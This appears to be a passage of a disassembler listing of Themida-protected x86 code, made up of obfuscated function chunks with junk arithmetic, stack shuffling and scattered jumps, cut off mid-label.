; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_567D42: ; CODE XREF: sub_567B29+B724j
push [esp+4+var_4]
jmp loc_57072C
; END OF FUNCTION CHUNK FOR sub_567B29
; ---------------------------------------------------------------------------
loc_567D4A: ; CODE XREF: Themida_:0056A795j
or ebx, esi
pop esi
sub esp, 4
jmp loc_56D523
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_567D55: ; CODE XREF: sub_56E126-BC2Dj
xor esi, ebp
jmp loc_570BF2
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_567D5C: ; CODE XREF: sub_561418+1308Cj
mov eax, 657031Eh
jmp loc_572C33
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_567D66: ; CODE XREF: sub_56628B+71F2j
sub eax, ebp
add eax, 6A271EE1h
jmp loc_567F5F
; END OF FUNCTION CHUNK FOR sub_56628B
; =============== S U B R O U T I N E =======================================
sub_567D72 proc near ; DATA XREF: Themida_:0055FE70o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
; FUNCTION CHUNK AT 00560F5F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005613F9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005645DF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C158 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056F65B SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0057138E SIZE 00000019 BYTES
push 0DE4h
mov [esp+4+var_4], eax
mov al, bh
mov bh, [esp+4]
mov [esp+4], al
push [esp+4+var_4]
jmp loc_56C158
sub_567D72 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_567D8C: ; CODE XREF: sub_56628B+B4BBj
add eax, ebx
pop ebx
sub eax, 58C87DF9h
add eax, ebx
add eax, 58C87DF9h
jmp loc_5637D3
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_567DA0: ; CODE XREF: sub_574656-75F0j
mov edi, [esp+4+var_4]
add esp, 4
push ebp
mov ebp, 4
jmp loc_567598
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_567DB1: ; CODE XREF: sub_5690E8-53C6j
mov ax, [esp+0]
push 6B23h
mov [esp+4+var_4], eax
mov eax, esp
add eax, 4
push 55A7h
mov [esp+8+var_8], ebp
mov ebp, 5FCC7A1Dh
not ebp
push esi
push 7D202013h
pop esi
xor ebp, esi
pop esi
dec ebp
not ebp
shr ebp, 1
push eax
mov eax, 60464883h
or eax, 751076CFh
xchg eax, esi
push 7DB6h
mov [esp+10h+var_10], esi
jmp loc_56A368
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_567DFB: ; CODE XREF: sub_564020-29BCj
shr edi, 6
add edi, 57BC18F7h
sub ebx, edi
pop edi
jmp loc_573349
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_567E0C: ; CODE XREF: sub_56241E+33F5j
pop bx
inc cx
push edi
mov di, 6543h
jmp loc_5727DC
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57199D
loc_567E1A: ; CODE XREF: sub_57199D-5474j
pop ebx
jmp loc_5744FC
; END OF FUNCTION CHUNK FOR sub_57199D
; ---------------------------------------------------------------------------
loc_567E20: ; CODE XREF: Themida_:00567F1Aj
push 334Ah
jmp loc_56B60D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_567E2A: ; CODE XREF: sub_57354D-C43j
or edx, eax
jmp loc_563FB4
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574287
loc_567E31: ; CODE XREF: sub_574287-C9D2j
add eax, 4
sub eax, 4
push eax
push [esp+0Ch+var_8]
pop eax
pop [esp+0Ch+var_C]
pop esp
jmp loc_56A3C3
; END OF FUNCTION CHUNK FOR sub_574287
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_567E4A: ; CODE XREF: sub_565632+3j
mov [esp+4+var_4], eax
mov eax, 0DF5461FBh
sub ebp, eax
pop eax
add edx, ebp
pop ebp
pop ebx
and eax, edx
pop edx
shr eax, 12h
jmp loc_56C098
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_567E64: ; CODE XREF: sub_57146D-3BFCj
add dl, 0DDh
add dl, al
sub dl, 0DDh
mov ax, word ptr [esp+2+var_4+2]
add esp, 2
add al, 67h
sub al, 14h
add al, dl
add al, 14h
jmp loc_56FF95
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_567E80: ; CODE XREF: sub_569193+1A6Fj
push [esp+4+var_4]
mov ebx, [esp+8+var_8]
jmp loc_5636B3
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_567E8B: ; CODE XREF: sub_57523A-6014j
neg eax
sub eax, 0A2ED2C44h
push edi
jmp loc_5637C0
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5692D3
loc_567E98: ; CODE XREF: sub_5692D3+2E6Ej
mov esi, 4
jmp loc_572349
; END OF FUNCTION CHUNK FOR sub_5692D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A016
loc_567EA2: ; CODE XREF: sub_56A016+71CCj
mov ecx, 0FCE3613h
jmp loc_56C0C8
; END OF FUNCTION CHUNK FOR sub_56A016
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_567EAC: ; CODE XREF: sub_571F6F-40D2j
push eax
mov ah, ch
mov dh, ah
pop eax
mov [edi+eax*4+1], dh
pop edx
mov ecx, [esp+8+var_8]
add esp, 4
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565849
loc_567EC8: ; CODE XREF: sub_565849-238j
add edx, 5DDF69C4h
add edx, ebx
jmp loc_57088D
; END OF FUNCTION CHUNK FOR sub_565849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575420
loc_567ED5: ; CODE XREF: sub_575420-96B1j
not bh
sub esp, 2
mov word ptr [esp+8+var_8], dx
push 578Fh
mov [esp+0Ch+var_C], ebx
mov bh, 4Dh
push eax
mov ah, bh
sub esp, 4
jmp loc_564B2D
; END OF FUNCTION CHUNK FOR sub_575420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_567EF6: ; CODE XREF: sub_56D4B8-6F43j
mov edi, [esp+4+var_4]
add esp, 4
mov ecx, [esp+0]
jmp loc_569C9F
; END OF FUNCTION CHUNK FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564EBE
loc_567F04: ; CODE XREF: sub_564EBE-AF4j
push ecx
mov ecx, 6DDF01B9h
jmp sub_56DBB0
; END OF FUNCTION CHUNK FOR sub_564EBE
; ---------------------------------------------------------------------------
loc_567F0F: ; CODE XREF: Themida_:005665F7j
sub esp, 4
mov [esp], edx
push esp
pop edx
jmp loc_567E20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_567F1F: ; CODE XREF: sub_5754DA-9087j
mov [esp+0], ecx
push dx
push ecx
mov cl, 22h
shr cl, 1
sub cl, 62h
mov dl, cl
pop ecx
mov ch, dl
jmp loc_56F1FB
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5692D3
loc_567F36: ; CODE XREF: sub_5692D3-283j
pop edx
not ecx
xor ecx, 719209DCh
jmp loc_56E1F0
; END OF FUNCTION CHUNK FOR sub_5692D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C3E2
loc_567F44: ; CODE XREF: sub_56C3E2-872Ej
mov [esp+8+var_8], ebx
push 6403h
mov [esp+0Ch+var_C], esi
mov esi, 3EA866BFh
mov ebx, esi
pop esi
shl ebx, 2
jmp loc_5675C6
; END OF FUNCTION CHUNK FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_567F5F: ; CODE XREF: sub_56628B+1AE2j
mov ebp, [esp+4+var_4]
jmp loc_56133D
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B71F
loc_567F67: ; CODE XREF: sub_56B71F+3CE7j
mov [esp+0Ch+var_C], edx
jmp sub_5680AC
; END OF FUNCTION CHUNK FOR sub_56B71F
; =============== S U B R O U T I N E =======================================
sub_567F6F proc near ; DATA XREF: Themida_:0055FE98o
; FUNCTION CHUNK AT 00565DB7 SIZE 00000005 BYTES
neg dword ptr [esp+0]
pushf
jmp loc_565DB7
sub_567F6F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_567F78: ; CODE XREF: sub_574A21-BF8Bj
xor ebx, esi
pop esi
not ebx
xor ebx, 0D3AEDDE4h
sub esi, ebx
pop ebx
push 3B29h
mov [esp+8+var_8], edx
mov edx, 0BE396B59h
push ecx
push edx
mov edx, 20926AF2h
mov ecx, 2892742Ah
jmp loc_561ED9
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_567FA4: ; CODE XREF: sub_561541+6B31j
shl edx, 4
jmp loc_56BE87
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_567FAC: ; CODE XREF: sub_561F05+21E1j
push 341Bh
jmp loc_569215
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560C12
loc_567FB6: ; CODE XREF: sub_560C12+50B3j
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+4+var_4]
mov esp, [esp+4+var_4]
pop [esp+4+var_4]
mov esp, [esp+0]
mov fs:[edx], ax
jmp loc_56022D
; END OF FUNCTION CHUNK FOR sub_560C12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_567FD8: ; CODE XREF: sub_574A21-B783j
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_562AE0
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563BCC
loc_567FF2: ; CODE XREF: sub_563BCC-F5Fj
mov ebx, [esp+0]
push edi
mov edi, esp
push 7AFh
jmp loc_573D60
; END OF FUNCTION CHUNK FOR sub_563BCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_568002: ; CODE XREF: sub_567CF5-2204j
add dword ptr [esp+0], 4
mov esi, [esp+0]
jmp loc_566028
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_568011: ; CODE XREF: sub_561541+11j
push 0
sub [esp+8+var_8], 6CCF6FA2h
sub [esp+8+var_8], ecx
add [esp+8+var_8], 6CCF6FA2h
push [esp+8+var_8]
pop ecx
add esp, 4
jmp loc_56FAF7
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
loc_568036: ; CODE XREF: Themida_:00565BF5j
mov edx, 53826E44h
push edi
jmp loc_575052
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_568041: ; CODE XREF: sub_56B1DC+A2CCj
push 18C1h
mov [esp+4+var_4], esi
push 1723h
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop esi
add esi, 4
push edx
push ebx
jmp loc_56883D
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_568063: ; CODE XREF: sub_561541+113EAj
pop edx
push edx
mov edx, 3DC63CAh
add edx, 39D85D65h
not edx
jmp loc_567FA4
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560782
loc_568077: ; CODE XREF: sub_560782+2j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_560782
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5729F9
loc_56807C: ; CODE XREF: sub_5729F9-12108j
xor bh, 71h
sub al, 75h
sub al, 0D5h
sub esp, 4
jmp loc_574774
; END OF FUNCTION CHUNK FOR sub_5729F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_56808E: ; CODE XREF: sub_570CE4+C38j
mov eax, [esp+14h+var_14]
add esp, 4
and ecx, 5E332EE5h
not ecx
push eax
mov eax, 4B5E4776h
add ecx, eax
jmp loc_56A138
; END OF FUNCTION CHUNK FOR sub_570CE4
; =============== S U B R O U T I N E =======================================
sub_5680AC proc near ; CODE XREF: sub_56B71F-37B5j
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00562652 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566935 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056CA85 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056EFE6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573D79 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00574FA5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00575026 SIZE 0000000B BYTES
push ebp
pop edx
jmp loc_56EFE6
sub_5680AC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_5680B3: ; CODE XREF: sub_56AB5E-7F4Fj
mov dh, 0C9h
push ecx
jmp loc_56639A
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570019
loc_5680BB: ; CODE XREF: sub_570019-ACE3j
push edx
mov edx, 2EFE17BEh
mov ebx, 1D6D198Dh
add ebx, edx
pop edx
xor ebx, 5E716461h
add edi, ebx
mov ebx, [esp+4+var_4]
add esp, 4
add edi, ebp
sub edi, 121A552Ah
pop ebp
xor edi, [esp-4+arg_0]
xor [esp-4+arg_0], edi
xor edi, [esp-4+arg_0]
pop esp
jmp loc_566F8E
; END OF FUNCTION CHUNK FOR sub_570019
; =============== S U B R O U T I N E =======================================
sub_5680F2 proc near ; DATA XREF: Themida_:0055FEE4o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00564441 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B01A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056DB46 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056EDD0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0057229C SIZE 00000014 BYTES
mov ax, [esp+0]
jmp loc_57229C
sub_5680F2 endp
; =============== S U B R O U T I N E =======================================
sub_5680FB proc near ; DATA XREF: Themida_:0055FE6Co
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056227E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565A7A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568159 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00569B07 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B7A6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B907 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056BF24 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056EFCA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F286 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570DA7 SIZE 00000008 BYTES
xor [esp+0], ebp
xor ebp, [esp+0]
xor [esp+0], ebp
push 42A3h
mov [esp+4+var_4], ebp
jmp loc_56F286
sub_5680FB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_568111: ; CODE XREF: sub_56638C+3CBBj
pop esp
push edi
mov edi, 4
add esi, 1C927267h
add esi, 45F84011h
add esi, edi
jmp loc_562428
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
loc_56812B: ; CODE XREF: sub_574AF3-889j
mov ebp, 4
sub ecx, 4E3E14ACh
add ecx, ebp
add ecx, 4E3E14ACh
mov ebp, [esp+4+var_4]
jmp loc_572AA0
; END OF FUNCTION CHUNK FOR sub_574AF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_568146: ; CODE XREF: sub_566117+968j
push 544A1172h
pop ebp
not ebp
push eax
mov eax, 0FE96AA4Ch
jmp loc_56EE8F
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680FB
loc_568159: ; CODE XREF: sub_5680FB+3824j
xor [esp+0], ebp
xor ebp, [esp+0]
xor [esp+0], ebp
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5680FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_568167: ; CODE XREF: sub_574656-4656j
and eax, ebp
mov ebp, [esp+0Ch+var_C]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+10h+var_10]
pop esp
push dword ptr [edi+1Ch]
push [esp+10h+var_10]
pop ecx
push 3008h
mov [esp+14h+var_14], edx
mov edx, esp
push ebx
mov ebx, 3B952EDCh
shr ebx, 1
shl ebx, 1
add ebx, 2A396C85h
and ebx, 327604A0h
xor ebx, 20460024h
jmp loc_561566
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_5681AD: ; CODE XREF: sub_574949-2E90j
mov ecx, [esp+0]
add esp, 4
mov cl, 45h
sub cl, 0C7h
jmp loc_564A2D
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5681BD: ; CODE XREF: sub_5678CB+C3FDj
mov word ptr [esp+4+var_4], bx
mov bh, 0BAh
jmp loc_56A46B
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_5681C8: ; CODE XREF: sub_571088-CF51j
add esp, 4
pop [esp+4+var_4]
pop esp
jmp loc_573B54
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3B7
loc_5681D4: ; CODE XREF: sub_56D3B7+Aj
mov esi, esp
add esi, 4
push ebp
push ebx
push 312C0686h
mov ebx, [esp+10h+var_10]
push esi
mov esi, esp
add esi, 4
push ebx
jmp loc_570236
; END OF FUNCTION CHUNK FOR sub_56D3B7
; =============== S U B R O U T I N E =======================================
sub_5681F5 proc near ; CODE XREF: sub_56331C+80BFj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055FFF4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00563498 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005644A2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565361 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056B32A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B761 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0056D777 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E93C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00573459 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005752F2 SIZE 00000014 BYTES
push ebx
sub esp, 4
mov [esp+8+var_8], esi
mov esi, 0BF91C3Ch
jmp loc_56B32A
sub_5681F5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_568206: ; CODE XREF: sub_560EA2+6B41j
add eax, 57DC0C1Eh
push 401Ah
mov [esp+4+var_4], edx
mov edx, 10CE33FCh
push ebp
mov ebp, 0FFFFFFFFh
sub edx, ebp
pop ebp
xor edx, 14522063h
push ecx
push ebx
mov ebx, 35C50E75h
mov ecx, 32685385h
add ecx, ebx
pop ebx
push 139Ah
mov [esp+0Ch+var_C], esi
mov esi, 1A955822h
sub eax, esi
mov esi, [esp+0Ch+var_C]
add esp, 4
sub eax, ecx
push edi
jmp loc_5643DE
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_568256: ; CODE XREF: sub_561027+12A2Fj
pop edi
add esi, ebp
mov ebp, [esp+14h+var_14]
add esp, 4
xor ebp, esi
pop esi
shl ebp, 5
jmp loc_5697B4
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_56826D: ; CODE XREF: sub_56A608-5DCBj
shr ecx, 8
jmp loc_56B695
; END OF FUNCTION CHUNK FOR sub_56A608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_568275: ; CODE XREF: sub_561418+125C5j
push dword ptr [esp+0]
pop ebx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
xchg ebp, [esp+0]
pop esp
jmp loc_567A18
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_568292: ; CODE XREF: sub_5673C3-4530j
push eax
jmp loc_56CC73
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
loc_568298: ; DATA XREF: Themida_:0055FCD0o
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_5682A8: ; CODE XREF: sub_56B1DC+7FAAj
push 74F5h
mov [esp+8+var_8], esi
push eax
mov eax, 4A0655EAh
shr eax, 3
inc eax
not eax
sub eax, 0AE87BFB4h
mov esi, eax
jmp loc_5700D0
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5682C8: ; CODE XREF: sub_5678CB+DB07j
pop ebp
xchg ecx, [esp+2+var_4+2]
mov esp, [esp+2+var_4+2]
movzx eax, al
lea eax, [edi+eax*4]
sub esp, 4
mov [esp+4+var_4], edi
mov edi, esp
jmp loc_56EA81
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_5682E5: ; CODE XREF: sub_574A21-C543j
xor ebx, 780C0C1Fh
push 7964h
jmp loc_5630FA
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5682F5: ; CODE XREF: sub_57354D-126D4j
shl esi, 2
push ebx
jmp loc_56C561
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_5682FE: ; CODE XREF: sub_572141-8406j
mov edx, [esp+8+var_8]
jmp loc_568DB2
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_568306: ; CODE XREF: sub_57523A+Dj
pop edi
push edx
jmp loc_575216
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56830D: ; CODE XREF: sub_564D26+78C6j
and esi, 55663864h
shl esi, 2
push 44ECh
jmp loc_571C68
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_568320: ; CODE XREF: sub_56AB5E-5CBj
mov ebx, [esp+10h+var_10]
add esp, 4
push ebp
mov ebp, esp
push edx
mov edx, 59646C4Fh
jmp loc_573A36
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_568334: ; CODE XREF: sub_560844+C6FDj
push edi
mov edi, 44C63F3Dh
and edi, 25592CFFh
and edi, 79D46746h
inc edi
or edi, 42D47DBEh
sub edi, 0F1F10797h
sub eax, edi
pop edi
sub eax, ebx
add eax, 50E37628h
jmp loc_573BEC
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_568362: ; CODE XREF: sub_570732-E242j
add esp, 4
jmp loc_574B0A
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
loc_56836D: ; CODE XREF: Themida_:0056D133j
pop ecx
sub dword ptr [esp], 53826E44h
push ecx
mov ecx, 97E26D0h
sub [esp+4], ecx
pop ecx
add dword ptr [esp], 4D490347h
push ecx
jmp loc_569C25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_56838D: ; CODE XREF: sub_574A21-DE8Aj
push esi
mov esi, 45A22812h
and ecx, esi
push [esp+8+var_8]
pop esi
add esp, 4
push 6C5Fh
mov [esp+8+var_8], esi
mov esi, 6D6F28DCh
sub esp, 4
mov [esp+0Ch+var_C], edi
push ebp
mov ebp, 7AEA4A99h
jmp loc_567B2F
; END OF FUNCTION CHUNK FOR sub_574A21
; =============== S U B R O U T I N E =======================================
sub_5683C0 proc near ; CODE XREF: sub_565AFE-1F9Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00562BB0 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00566064 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00566451 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056762A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056AAD8 SIZE 0000001A BYTES
sub esp, 4
mov [esp+4+var_4], edx
push esp
jmp loc_56762A
sub_5683C0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B71F
loc_5683CF: ; CODE XREF: sub_56B71F+6E6Bj
push ecx
jmp loc_563FBE
; END OF FUNCTION CHUNK FOR sub_56B71F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_5683D5: ; CODE XREF: sub_56BD44-182Ej
push ecx
mov ecx, esp
jmp loc_56050E
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560D31
loc_5683DD: ; CODE XREF: sub_560D31+12E71j
mov ebx, [esp+4+var_4]
add esp, 4
add ebx, 4
push ebp
push edx
mov edx, 64A137E0h
mov ebp, 0E42D41CFh
add ebp, edx
pop edx
xor ebp, 48CE79ABh
sub ebx, 0C26105h
add ebx, ebp
add ebx, 0C26105h
pop ebp
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
pop esp
jmp loc_568AAC
; END OF FUNCTION CHUNK FOR sub_560D31
; ---------------------------------------------------------------------------
loc_56841C: ; CODE XREF: Themida_:0057143Fj
sub esp, 4
jmp loc_5686E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_568424: ; CODE XREF: sub_5754DA-10ECAj
add esp, 2
sub esp, 4
mov [esp+6+var_8+2], ebx
push eax
mov ah, 0B6h
mov bl, ah
jmp loc_563077
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56843A: ; CODE XREF: sub_571088-522j
mov ecx, dword ptr [esp-4+arg_0]
add esp, 4
jmp loc_56EB60
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_568448: ; CODE XREF: sub_566400+8E56j
push edi
jmp loc_56FF20
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56844E: ; CODE XREF: sub_5685B2-2AF8j
push dword ptr [esp+0]
pop edi
add esp, 4
jmp loc_562FC6
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_56845A: ; CODE XREF: sub_57549C+1j
